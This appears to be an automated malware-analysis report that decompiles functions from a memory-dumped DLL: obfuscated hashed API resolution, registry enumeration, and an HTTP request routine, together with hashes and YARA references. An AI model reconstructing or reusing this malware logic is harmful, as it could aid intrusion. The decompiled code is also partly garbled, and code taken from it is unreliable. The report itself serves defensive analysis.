						E6EBA87A0(_t110 + 0x44);
						_t48 = E6EBA15C0(0xd27f045a, 0x336e58dc);
						_t98 = _t48;
						if(_t48 != 0) {
							 *_t110 =  *((intOrPtr*)(_t107 + 0x10));
							 *((intOrPtr*)(_t110 + 0xc)) =  *((intOrPtr*)(_t110 + 0x44));
							_t102 =  *((intOrPtr*)(_t107 + 0x28));
							 *(_t110 + 8) = E6EBB0180( *((intOrPtr*)(_t110 + 0x44)), 0x7fffffff, _t102);
							if(E6EBB9650( *((intOrPtr*)(_t110 + 0x78))) != 0) {
								 *((intOrPtr*)(_t110 + 4)) = E6EBB9640( *((intOrPtr*)(_t110 + 0x7c)), 0);
							} else {
								 *((intOrPtr*)(_t110 + 4)) = 0;
							}
							_t52 = E6EBB9650( *((intOrPtr*)(_t110 + 0x78)));
							_t103 =  !=  ?  *((void*)(_t110 + 0x18)) : _t102;
							_t53 = HttpSendRequestW( *(_t110 + 0x10),  !=  ?  *((void*)(_t110 + 0x18)) : _t102,  *(_t110 + 0x10),  *(_t110 + 8), _t52); // executed
							if(_t53 == 0) {
								_t104 = E6EBA7F00();
								E6EBB7560(_t75, _t98, _t104);
								if(_t104 != 0) {
									goto L12;
								} else {
									goto L17;
								}
							} else {
								E6EBB7560(_t75, _t98, _t103);
								L17:
								 *(_t110 + 0x50) = 4;
								_t95 = E6EBA15C0(0xd27f045a, 0xcedbd48c);
								if(_t95 == 0) {
									_t59 = 0x7f;
									goto L24;
								} else {
									_t105 = _t110 + 0x50;
									_push(0);
									_push(_t105);
									_push(_t110 + 0x4c);
									_push(0x20000013);
									_push( *((intOrPtr*)(_t107 + 0x10)));
									if( *_t95() == 0) {
										_t59 = E6EBA7F00();
										if(_t59 != 0) {
											L24:
											 *_t107 = _t59;
											E6EBA8CA0(_t110 + 0x44);
											goto L25;
										} else {
											goto L19;
										}
									} else {
										L19:
										 *((intOrPtr*)(_t107 + 0x34)) =  *((intOrPtr*)(_t110 + 0x4c));
										E6EBA8810(_t110 + 0x38, 0x2800);
										 *(_t110 + 0x50) =  *(_t110 + 0x38) >> 1;
										_t67 = E6EBA15C0(0xd27f045a, 0xcedbd48c);
										if(_t67 == 0) {
											 *_t107 = 0x7f;
											E6EBA8CA0(_t110 + 0x34);
											E6EBA8CA0(_t110 + 0x44);
											goto L25;
										} else {
											_push(0);
											_push(_t105);
											_push( *((intOrPtr*)(_t110 + 0x3c)));
											_push(0x14);
											_push( *((intOrPtr*)(_t107 + 0x10)));
											asm("int3");
											return _t67;
										}
									}
								}
							}
						} else {
							_t104 = 0x7f;
							E6EBB7560(_t75, _t98, 0x7f);
							L12:
							 *_t107 = _t104;
							E6EBA8CA0(_t110 + 0x44);
							L25:
							E6EBB0B10(_t110 + 0x3c);
							goto L26;
						}
					}
				}
			}

0x6ebc3824
0x6ebc3827
0x6ebc3829
0x6ebc382e
0x6ebc3839
0x6ebc3835
0x6ebc3835
0x6ebc3835
0x6ebc3840
0x6ebc3bba
0x6ebc3bba
0x6ebc3bc0
0x6ebc3bd0
0x6ebc3846
0x6ebc3846
0x6ebc384b
0x6ebc3856
0x6ebc3852
0x6ebc3852
0x6ebc3852
0x6ebc385d
0x00000000
0x6ebc3863
0x6ebc3863
0x6ebc3872
0x6ebc387f
0x6ebc388e
0x6ebc3893
0x6ebc3897
0x6ebc38c2
0x6ebc38c5
0x6ebc38c9
0x6ebc38d1
0x6ebc38e0
0x6ebc3ca0
0x6ebc38e6
0x6ebc38e6
0x6ebc38e6
0x6ebc38f2
0x6ebc3902
0x6ebc390c
0x6ebc3910
0x6ebc3c7f
0x6ebc3c83
0x6ebc3c8a
0x00000000
0x6ebc3c90
0x00000000
0x6ebc3c90
0x6ebc3916
0x6ebc3918
0x6ebc391d
0x6ebc391d
0x6ebc3934
0x6ebc3938
0x6ebc3ba0
0x00000000
0x6ebc393e
0x6ebc393e
0x6ebc3946
0x6ebc3948
0x6ebc3949
0x6ebc394a
0x6ebc394f
0x6ebc3956
0x6ebc3c68
0x6ebc3c6f
0x6ebc3ba5
0x6ebc3ba5
0x6ebc3bac
0x00000000
0x6ebc3c75
0x00000000
0x6ebc3c75
0x6ebc395c
0x6ebc395c
0x6ebc3965
0x6ebc396c
0x6ebc3977
0x6ebc3985
0x6ebc398c
0x6ebc3b89
0x6ebc3b90
0x6ebc3b99
0x00000000
0x6ebc3992
0x6ebc3992
0x6ebc3994
0x6ebc3995
0x6ebc3999
0x6ebc399b
0x6ebc399e
0x6ebc399f
0x6ebc399f
0x6ebc398c
0x6ebc3956
0x6ebc3938
0x6ebc3899
0x6ebc389b
0x6ebc38a0
0x6ebc38a5
0x6ebc38a5
0x6ebc38ac
0x6ebc3bb1
0x6ebc3bb5
0x00000000
0x6ebc3bb5
0x6ebc3897
0x6ebc385d

APIs

HttpSendRequestW.WININET(D27F045A,?,D27F045A,?,00000000,D27F045A,336E58DC,?), ref: 6EBC390C

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: HttpRequestSend
String ID:
API String ID: 360639707-0
Opcode ID: b90dafc8130a0d00f0bfecb393edebcc7d2590783054e52227427d2d15ae8f46
Instruction ID: 2c7b6cade8c006b4661333afe68ccd96cce8805b9e7c9db9ea01bd4066cc82e9
Opcode Fuzzy Hash: b90dafc8130a0d00f0bfecb393edebcc7d2590783054e52227427d2d15ae8f46
Instruction Fuzzy Hash: 3151933061C385AFEB509FA8CC54AAF7FE8EF81754F404969BA5587290EB31D804CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6EBBC580, Relevance: 1.6, APIs: 1, Instructions: 98
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EBBC580(intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v0;
				intOrPtr _v4;
				int _v20;
				char _v28;
				int* _v32;
				int* _v36;
				char _v40;
				char _v48;
				char _v303;
				void* __edi;
				void* __esi;
				long _t25;
				signed int _t33;
				char _t45;
				int _t62;
				intOrPtr _t63;
				char* _t64;
				char* _t66;

				_v40 = 0;
				_t62 = 0;
				_v36 = 0;
				_t63 = __ecx;
				_v32 = 0;
				_t64 = _t66;
				while(1) {
					_v20 = 0x105;
					if(E6EBA15C0(0x3ab94787, 0x31fb9d90) == 0) {
						goto L3;
					}
					_t25 = RegEnumValueA( *(_t63 + 4), _t62, _t64,  &_v20, 0, 0, 0, 0); // executed
					if(_t25 == 0) {
						goto L3;
					}
					_t45 = _v40;
					_t26 = 0;
					if(_t45 <= 0) {
						L9:
						E6EBB0930(_a4, _t26, _t26);
						E6EBB7560( &_v48, _t62, _t63);
						return _v4;
					} else {
						_t63 = _t45;
						_t65 = 0;
						_t62 =  &_v28;
						while(1) {
							E6EBB1240(E6EBB7600( &_v40, _t65), _t62); // executed
							_t40 = _v36;
							_t33 = E6EBBD620(_t40, E6EBB6040(_v36, 0x7fffffff));
							E6EBB0B10(_t62);
							if((_t33 ^ 0x38ba5c7b) == _v0) {
								break;
							}
							_t65 =  &_v303;
							if( &_v303 < _t63) {
								continue;
							} else {
								_t26 = 0;
								goto L9;
							}
							goto L11;
						}
						E6EBB0750(_v0, E6EBB7600( &_v40, _t65));
						E6EBB7560( &_v48, _t62, _t63);
						return _v4;
					}
					L11:
					L3:
					E6EBB37E0( &_v40, _t64, _v40);
					_t62 = _t62 + 1;
				}
			}

0x6ebbc58e
0x6ebbc595
0x6ebbc597
0x6ebbc59e
0x6ebbc5a0
0x6ebbc5a7
0x6ebbc5aa
0x6ebbc5aa
0x6ebbc5c8
0x00000000
0x00000000
0x6ebbc5db
0x6ebbc5df
0x00000000
0x00000000
0x6ebbc5f8
0x6ebbc5ff
0x6ebbc603
0x6ebbc662
0x6ebbc66b
0x6ebbc677
0x6ebbc68d
0x6ebbc605
0x6ebbc607
0x6ebbc609
0x6ebbc60b
0x6ebbc612
0x6ebbc622
0x6ebbc627
0x6ebbc63e
0x6ebbc647
0x6ebbc659
0x00000000
0x00000000
0x6ebbc65b
0x6ebbc65e
0x00000000
0x6ebbc660
0x6ebbc660
0x00000000
0x6ebbc660
0x00000000
0x6ebbc65e
0x6ebbc6a7
0x6ebbc6b3
0x6ebbc6c9
0x6ebbc6c9
0x00000000
0x6ebbc5e1
0x6ebbc5f0
0x6ebbc5f5
0x6ebbc5f5

APIs

RegEnumValueA.KERNELBASE(?,00000001,?,?,00000000,00000000,00000000,00000000,3AB94787,31FB9D90,?,?,3AB94787,31FB9D90), ref: 6EBBC5DB

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumValue
String ID:
API String ID: 2814608202-0
Opcode ID: 71b1a84cdbfb9666a2904b00dc10ff6c6848b6122441b50c3cd9c2af10e49e24
Instruction ID: 7cf27af1d405bc05ace9dcbb586fb0273a70e4c54cc88b80954395cf2952b939
Opcode Fuzzy Hash: 71b1a84cdbfb9666a2904b00dc10ff6c6848b6122441b50c3cd9c2af10e49e24
Instruction Fuzzy Hash: 6D31AF316182845BC375DAA9D890EFF7BDCEBD9304F104D2DA18A83240EFB19D458BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EBBC405, Relevance: 1.6, APIs: 1, Instructions: 83
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EBBC405(intOrPtr __eax, void* __edi, intOrPtr __ebp, void* _a8, int _a12, void* _a16, void* _a20, void** _a28, void** _a32, void** _a36, char _a40, unsigned int _a44, char _a48, void** _a52, void* _a64, void* _a68) {
				unsigned int _v0;
				void* _v4;
				unsigned int _v8;
				void* _v20;
				void* _v28;
				void* _t41;
				intOrPtr* _t42;
				void** _t45;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t51;

				_t51 = __ebp;
				_t49 = __eax;
				if(__eax != 0) {
					_t42 = _a16;
					goto L1;
				} else {
					do {
						__edx =  &_a48;
						__ecx =  &_a40;
						__eax = E6EBAA0D0( &_a40,  &_a48);
						__edx = _a44;
						__ecx =  &_a52;
						__eax = E6EBA83B0( &_a52);
						__esi = _a52;
						__ecx = __esi;
						__edx = 0x7fffffff;
						__eax = E6EBB6040(__esi, 0x7fffffff);
						__ecx = __esi;
						__edx = __eax;
						__esi = __eax;
						__ecx =  &_a52;
						__eax = E6EBB0B10( &_a52);
						if(__esi != __edi) {
							__ecx =  &_a48;
							__eax = E6EBA8CA0( &_a48);
							__ebx = __ebx + 1;
							goto L12;
						} else {
							__edi = _a36;
							__ecx =  &_a48;
							__esi =  *(__ecx - 0x10);
							__eax = E6EBA8CA0(__ecx);
							if(__edi != 0) {
								__ecx =  *(__esp + 0x1c);
								__eax = E6EBA96D0( *(__esp + 0x1c), 0x5c);
							}
							__ecx =  *(__esp + 0x20);
							__eax = E6EBB0220( *(__esp + 0x20), _a40, 0);
							_a12 = 0;
							__eax = E6EBA15C0(0x3ab94787, 0xd5493f9);
							__edx = __eax;
							if(__eax == 0) {
								__edx = 0;
							} else {
								__eax =  &_a20;
								__ecx =  *(__eax - 0xc);
								__ecx =  ==  ?  *((void*)(__eax - 0x10)) :  *(__eax - 0xc);
								__ebx = __eax[1];
								__eax = RegOpenKeyExW( *(__esp + 0x68),  *(__eax[1]), 0, __ecx, __eax); // executed
								__edx = __eax;
							}
							__ebx = _a20;
							if(__ebx == 0 || __ebx == 0xffffffff) {
								L34:
								__ebx = _a16;
								__esi = __edx;
								L1:
								if( *((char*)(_t42 + 8)) == 0) {
									L9:
									 *((intOrPtr*)(_t42 + 4)) = _t51;
									 *((char*)(_t42 + 8)) = 1;
									E6EBA8CA0( &_a40);
									 *_t42 = _t49;
									return _t49;
								} else {
									_t48 =  *((intOrPtr*)(_t42 + 4));
									if(_t48 == 0 || _t48 == 0xffffffff) {
										_t45 = 1;
									} else {
										_t45 = 0;
									}
									if(_t45 != 0) {
										goto L9;
									} else {
										_t41 = E6EBA15C0(0x3ab94787, 0x91935d4e);
										if(_t41 == 0) {
											goto L9;
										} else {
											_push(_t48);
											asm("int3");
											return _t41;
										}
									}
								}
							} else {
								if(__esi == 0) {
									L30:
									__edi =  &(__edi[0]);
									__ebp = __ebx;
									if(__edi < _a28) {
										__esi = 1;
										__eax = __edi * 4;
										__ecx =  *(__esp + 0x58);
										__eax = E6EBB9640( *(__esp + 0x58), __edi * 4);
										__eax =  *__eax;
										__ebx = 0;
										__eax = __eax ^ 0x38ba5c7b;
										_a32 = __edi;
										__edi = __eax;
										_a28 = 1;
										goto L12;
									} else {
										goto L34;
									}
								} else {
									if(__ebp == 0 || __ebp == 0xffffffff) {
										__eax = 1;
									} else {
										__eax = 0;
									}
									if(__eax != 0) {
										goto L30;
									} else {
										_v0 = __edx;
										__eax = E6EBA15C0(0x3ab94787, 0x91935d4e);
										__edx = _v8;
										if(__eax == 0) {
											goto L30;
										} else {
											_push(__ebp);
											_v0 = __edx;
											asm("int3");
											return __eax;
										}
									}
								}
							}
						}
						goto L35;
						L12:
						__eax = E6EBA15C0(0x3ab94787, 0xf561ae8b);
					} while (__eax == 0);
					__edx = _a44;
					__edx = _a44 >> 1;
					_push(_a44 >> 1);
					_push(_a40);
					_push(__ebx);
					_push(__ebp);
					asm("int3");
					return __eax;
				}
				L35:
			}

0x6ebbc405
0x6ebbc405
0x6ebbc409
0x6ebbc52e
0x00000000
0x6ebbc40f
0x6ebbc40f
0x6ebbc40f
0x6ebbc414
0x6ebbc418
0x6ebbc41d
0x6ebbc421
0x6ebbc425
0x6ebbc42a
0x6ebbc42e
0x6ebbc430
0x6ebbc435
0x6ebbc43a
0x6ebbc43c
0x6ebbc443
0x6ebbc445
0x6ebbc449
0x6ebbc450
0x6ebbc51f
0x6ebbc523
0x6ebbc528
0x00000000
0x6ebbc456
0x6ebbc456
0x6ebbc45a
0x6ebbc45e
0x6ebbc461
0x6ebbc468
0x6ebbc46c
0x6ebbc470
0x6ebbc470
0x6ebbc47b
0x6ebbc47f
0x6ebbc484
0x6ebbc496
0x6ebbc49b
0x6ebbc49f
0x6ebbc4c3
0x6ebbc4a1
0x6ebbc4a5
0x6ebbc4a9
0x6ebbc4ac
0x6ebbc4b4
0x6ebbc4bd
0x6ebbc4bf
0x6ebbc4bf
0x6ebbc4c5
0x6ebbc4cb
0x6ebbc537
0x6ebbc537
0x6ebbc53b
0x6ebbc337
0x6ebbc33b
0x6ebbc36c
0x6ebbc36c
0x6ebbc373
0x6ebbc377
0x6ebbc37c
0x6ebbc387
0x6ebbc33d
0x6ebbc33d
0x6ebbc342
0x6ebbc34d
0x6ebbc349
0x6ebbc349
0x6ebbc349
0x6ebbc354
0x00000000
0x6ebbc356
0x6ebbc360
0x6ebbc367
0x00000000
0x6ebbc369
0x6ebbc369
0x6ebbc36a
0x6ebbc36b
0x6ebbc36b
0x6ebbc367
0x6ebbc354
0x6ebbc4d2
0x6ebbc4d4
0x6ebbc510
0x6ebbc510
0x6ebbc511
0x6ebbc517
0x6ebbc3ba
0x6ebbc3bf
0x6ebbc3c7
0x6ebbc3cb
0x6ebbc3d0
0x6ebbc3d2
0x6ebbc3d4
0x6ebbc3d9
0x6ebbc3dd
0x6ebbc3df
0x00000000
0x6ebbc51d
0x00000000
0x6ebbc51d
0x6ebbc4d6
0x6ebbc4d8
0x6ebbc4e3
0x6ebbc4df
0x6ebbc4df
0x6ebbc4df
0x6ebbc4ea
0x00000000
0x6ebbc4ec
0x6ebbc4f6
0x6ebbc4fa
0x6ebbc4ff
0x6ebbc504
0x00000000
0x6ebbc506
0x6ebbc506
0x6ebbc507
0x6ebbc50b
0x6ebbc50c
0x6ebbc50c
0x6ebbc504
0x6ebbc4ea
0x6ebbc4d4
0x6ebbc4cb
0x00000000
0x6ebbc3e3
0x6ebbc3ed
0x6ebbc3f2
0x6ebbc3f6
0x6ebbc3fa
0x6ebbc3fc
0x6ebbc3fd
0x6ebbc401
0x6ebbc402
0x6ebbc403
0x6ebbc404
0x6ebbc404
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,00000000,3AB94787,0D5493F9,?,00000000), ref: 6EBBC4BD

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 0e37b628d0b4e674bacbd8cf169e758a79634cf178c09426afabd7f642685cea
Instruction ID: fa2563e78b00d72000d15c8412d30b45b7235d480516fe37eaa85aefa5dac5ad
Opcode Fuzzy Hash: 0e37b628d0b4e674bacbd8cf169e758a79634cf178c09426afabd7f642685cea
Instruction Fuzzy Hash: F42181316183829BC754DEA4C9A0A7FBBE9EFC4654F104E1CE5655F2A0EF30D9058F92

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA1030, Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E6EBA1030() {
				void* _v20;
				void* _t4;
				intOrPtr* _t9;
				void* _t11;

				if( *0x6ebcb1e0 == 0xe99c89bf) {
					_t9 = E6EBA15C0(0x588ab3ea, 0xc0b67de0);
					 *0x6ebcb1e4 = E6EBA15C0(0x588ab3ea, 0x82d274c4);
					if( *0x6ebcb1e0 == 0xe99c89bf) {
						 *_t9(2, 0, 0, 0, 0, 0); // executed
						 *0x6ebcb1e0 = 0;
					}
				}
				_t4 = E6EBA15C0(0x588ab3ea, 0x996e050f);
				if(_t4 == 0) {
					return 0;
				} else {
					_push( *((intOrPtr*)(_t11 + 8)));
					_push(8);
					_push( *0x6ebcb1e0);
					asm("int3");
					return _t4;
				}
			}

0x6eba103b
0x6eba1073
0x6eba1084
0x6eba1093
0x6eba109e
0x6eba10a0
0x6eba10a0
0x6eba1093
0x6eba1047
0x6eba104e
0x6eba1063
0x6eba1050
0x6eba1050
0x6eba1054
0x6eba1056
0x6eba105c
0x6eba105d
0x6eba105d

APIs

RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,588AB3EA,82D274C4,588AB3EA,C0B67DE0,?,6EBA8864,00000000,00000000,00000000,?), ref: 6EBA109E

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: a9a7cfc006226e0fcbd09a0fa0a842f00265b89de1d58af8f74cab35187fee56
Instruction ID: 529f7c5645e5219d9654584cc88a8cdcf2e135f8c03d02598f95c52140cf9d50
Opcode Fuzzy Hash: a9a7cfc006226e0fcbd09a0fa0a842f00265b89de1d58af8f74cab35187fee56
Instruction Fuzzy Hash: CAF0A7BC06CAC6BEEFE09AF94C8DA6D3DDCEB156D4F080C35E70996184FB2081148316

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EBB3EC0, Relevance: 2.4, Strings: 1, Instructions: 1131
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E6EBB3EC0(signed int __ecx) {
				char _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				unsigned int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _t368;
				unsigned int _t371;
				void* _t376;
				signed int* _t377;
				char* _t378;
				char _t381;
				signed int _t382;
				signed int _t388;
				signed int _t392;
				signed int _t393;
				signed int _t396;
				char* _t397;
				char _t400;
				char _t403;
				signed int _t404;
				signed int _t407;
				signed int _t410;
				signed int _t412;
				void* _t413;
				char* _t416;
				signed int _t418;
				unsigned int _t424;
				signed int _t425;
				char* _t431;
				signed int _t436;
				unsigned int _t442;
				char* _t445;
				void* _t447;
				char _t449;
				signed int _t450;
				signed int _t451;
				char* _t463;
				char _t477;
				char _t479;
				char _t481;
				char _t482;
				signed int _t483;
				signed int _t484;
				char _t491;
				signed int _t492;
				void* _t503;
				signed int _t508;
				unsigned int _t509;
				signed int _t511;
				signed int _t512;
				signed int _t520;
				char* _t521;
				char* _t522;
				char* _t523;
				signed int _t524;
				signed int _t527;
				char* _t535;
				signed int _t537;
				unsigned int _t543;
				signed int _t545;
				signed int _t546;
				char _t548;
				char _t549;
				char _t550;
				signed int _t551;
				signed int _t552;
				unsigned int _t556;
				void* _t565;
				signed int _t566;
				char* _t568;
				char _t569;
				char _t570;
				signed int _t571;
				signed int _t573;
				signed int _t574;
				unsigned int _t575;
				char* _t576;
				char _t577;
				char _t578;
				char* _t583;
				char _t584;
				char _t585;
				signed int _t586;
				unsigned int _t592;
				void* _t595;
				signed int _t597;
				signed int _t600;
				char _t602;
				void* _t603;
				unsigned int _t604;
				signed int _t605;
				unsigned int _t610;
				signed int _t612;
				signed int _t614;
				char* _t615;
				char _t616;
				char _t617;
				char _t620;
				signed int _t621;
				void* _t624;
				signed int _t626;
				char _t629;
				signed int _t630;
				signed int _t636;
				signed int _t641;
				char* _t642;
				char _t644;
				signed int _t646;
				char _t649;
				signed int _t650;
				signed int _t652;
				signed int _t654;
				signed int _t655;
				signed int _t658;
				char* _t659;
				void* _t660;
				void* _t665;
				intOrPtr _t667;
				signed int _t672;
				signed int _t673;
				unsigned int _t675;
				signed int _t676;
				signed int _t677;
				signed int _t678;
				signed int _t680;
				intOrPtr* _t681;
				signed int _t682;
				unsigned int* _t683;
				signed int _t685;
				signed int _t686;
				void* _t688;
				signed int _t689;
				signed int _t693;
				signed int _t694;
				char* _t695;
				void* _t696;
				unsigned int _t697;
				signed int _t700;
				unsigned int _t702;
				signed int _t704;
				intOrPtr* _t705;
				signed int _t707;
				signed int _t714;
				void* _t720;
				signed int _t721;
				void* _t723;
				void* _t727;

				_t723 = (_t721 & 0xfffffff0) - 0x44;
				_t505 = __ecx;
				_t727 =  *__ecx;
				if(_t727 == 0) {
					return __ecx;
				} else {
					if(_t727 <= 0) {
						_v48 = 0;
						_t604 = 0;
						if( &_v52 == __ecx) {
							goto L288;
						} else {
							goto L287;
						}
					} else {
						_v64 = 0;
						asm("pxor xmm0, xmm0");
						_v40 = __ecx;
						do {
							_t410 = _v64 + 1;
							_t620 =  *0x6ebca24c; // 0xa0d0920
							_t550 =  *0x6ebca250; // 0x0
							_v64 = _t410;
							_v36 = _t620;
							_v32 = _t550;
							_t621 =  *( *( *((intOrPtr*)(_v40 + 4)) + _t410 * 4 - 4));
							if(_t621 == 0) {
								_t680 = 0;
								_t412 = 0;
							} else {
								_t505 = _t621 & 0x0000000f;
								if(_t505 == 0) {
									L8:
									asm("pxor xmm1, xmm1");
									_t503 =  ~( ~_t505 + 0x0000000f & 0x0000000f) + 0x7fffffff;
									while(1) {
										asm("movdqu xmm0, [edx+ebx]");
										asm("pcmpeqb xmm0, xmm1");
										asm("pmovmskb ecx, xmm0");
										if(_t550 != 0) {
											break;
										}
										_t505 = _t505 + 0x10;
										if(_t505 < _t503) {
											continue;
										} else {
											if(_t503 >= 0x7fffffff) {
												L14:
												_t412 = 0x7fffffff;
												goto L15;
											} else {
												while( *((char*)(_t503 + _t621)) != 0) {
													_t503 = _t503 + 1;
													if(_t503 < 0x7fffffff) {
														continue;
													} else {
														goto L14;
													}
													goto L20;
												}
												goto L295;
											}
										}
										goto L20;
									}
									asm("bsf eax, ecx");
									_t412 = _t503 + _t505;
									goto L295;
								} else {
									_t412 = 0;
									_t505 =  ~_t505 + 0x10;
									while( *((char*)(_t412 + _t621)) != 0) {
										_t412 = _t412 + 1;
										if(_t412 < _t505) {
											continue;
										} else {
											goto L8;
										}
										goto L20;
									}
									L295:
									if(_t412 > 0) {
										L15:
										_t505 = _v36;
										_t680 = 0;
										while(_t505 != 0) {
											while(1) {
												_t720 = _t720 + 1;
												if(_t603 ==  *((intOrPtr*)(_t723 + _t720 + 0x2f))) {
													break;
												}
												if( *((char*)(_t723 + _t720 + 0x30)) != 0) {
													continue;
												}
												goto L20;
											}
											_t680 = _t680 + 1;
											if(_t680 < _t412) {
												continue;
											} else {
												goto L20;
											}
											goto L301;
										}
									} else {
										_t680 = 0;
									}
								}
							}
							L20:
							_t413 = _t412 - 1;
							_t700 = _t412 - _t680;
							if(_t413 >= _t680) {
								_v60 = 0;
								_t505 = _t413 - _t680 + 1;
								_v56 = _t680;
								_t602 = _v36;
								_t689 = _v60;
								_v48 = _t621;
								_v52 = _t505;
								while(_t602 != 0) {
									_t667 =  *((intOrPtr*)(_t413 + _v48));
									while(1) {
										_t505 = 1;
										if(_t667 ==  *((intOrPtr*)(_t723 + 0x30))) {
											break;
										}
										if( *((char*)(_t723 + 0x31)) != 0) {
											continue;
										}
										goto L26;
									}
									_t689 = _t689 + 1;
									_t413 = _t413 - 1;
									_t700 = _t700 - 1;
									if(_t689 < _v52) {
										continue;
									} else {
										break;
									}
									goto L301;
								}
								L26:
								_t621 = _v48;
								_t680 = _v56;
							}
							if(_t700 == 0) {
								L66:
								_push(0x40);
								_t505 = E6EBA1030();
								_t723 = _t723 + 4;
								 *_t505 = 0;
							} else {
								if(_t621 == 0) {
									_t483 = 0;
								} else {
									_t600 = _t621 & 0x0000000f;
									if(_t600 == 0) {
										L33:
										asm("pxor xmm1, xmm1");
										_t483 =  ~( ~_t600 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										while(1) {
											asm("movdqu xmm0, [edx+ecx]");
											asm("pcmpeqb xmm0, xmm1");
											asm("pmovmskb ebx, xmm0");
											if(_t505 != 0) {
												break;
											}
											_t600 = _t600 + 0x10;
											if(_t600 < _t483) {
												continue;
											} else {
												if(_t483 >= 0x7fffffff) {
													L39:
													_t483 = 0x7fffffff;
												} else {
													while( *((char*)(_t483 + _t621)) != 0) {
														_t483 = _t483 + 1;
														if(_t483 < 0x7fffffff) {
															continue;
														} else {
															goto L39;
														}
														goto L40;
													}
												}
											}
											goto L40;
										}
										asm("bsf eax, ebx");
										_t483 = _t483 + _t600;
									} else {
										_t483 = 0;
										_t600 =  ~_t600 + 0x10;
										while( *((char*)(_t483 + _t621)) != 0) {
											_t483 = _t483 + 1;
											if(_t483 < _t600) {
												continue;
											} else {
												goto L33;
											}
											goto L40;
										}
									}
								}
								L40:
								_t687 =  <=  ? 0 : _t680;
								_t688 =  <  ? _t483 :  <=  ? 0 : _t680;
								_t484 = _t483 - _t688;
								if(_t700 < 0 || _t700 > _t484) {
									_t700 = _t484;
								}
								if(_t688 + _t621 == 0 ||  *(_t621 + _t688) == 0) {
									goto L66;
								} else {
									if(_t700 == 0) {
										_t492 = _t621 + _t688;
										_t597 = _t492 & 0x0000000f;
										if(_t597 == 0) {
											L50:
											asm("pxor xmm1, xmm1");
											_t700 =  ~( ~_t597 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											while(1) {
												asm("movdqu xmm0, [eax+ecx]");
												asm("pcmpeqb xmm0, xmm1");
												asm("pmovmskb ebx, xmm0");
												if(_t505 != 0) {
													break;
												}
												_t597 = _t597 + 0x10;
												if(_t597 < _t700) {
													continue;
												} else {
													if(_t700 >= 0x7fffffff) {
														L56:
														_t700 = 0x7fffffff;
													} else {
														while( *((char*)(_t700 + _t492)) != 0) {
															_t700 = _t700 + 1;
															if(_t700 < 0x7fffffff) {
																continue;
															} else {
																goto L56;
															}
															goto L57;
														}
													}
												}
												goto L57;
											}
											asm("bsf esi, ebx");
											_t700 = _t700 + _t597;
										} else {
											_t700 = 0;
											_t597 =  ~_t597 + 0x10;
											while( *((char*)(_t700 + _t492)) != 0) {
												_t700 = _t700 + 1;
												if(_t700 < _t597) {
													continue;
												} else {
													goto L50;
												}
												goto L57;
											}
										}
									}
									L57:
									_t40 = _t700 + 1; // -2147483661
									_t511 =  <=  ? 0x40 : _t40;
									if(_t511 > 0) {
										_t592 = (_t511 >> 5 >> 0x1a) + _t511 >> 6;
										_t512 = _t511 & 0x8000003f;
										if(_t512 < 0) {
											_t512 = (_t512 - 0x00000001 | 0xffffffc0) + 1;
										}
										_push(_t592 + (0 | _t512 > 0x00000000) << 6);
										_v48 = _t621;
										_t505 = E6EBA1030();
										_t723 = _t723 + 4;
										_t665 = _v48 + _t688;
										_t595 = 0;
										 *_t505 = 0;
										while(1) {
											_t595 = _t595 + 1;
											_t491 =  *((char*)(_t595 + _t665 - 1));
											 *((char*)(_t595 + _t505 - 1)) = _t491;
											if(_t700 != 0 && _t595 == _t700) {
												break;
											}
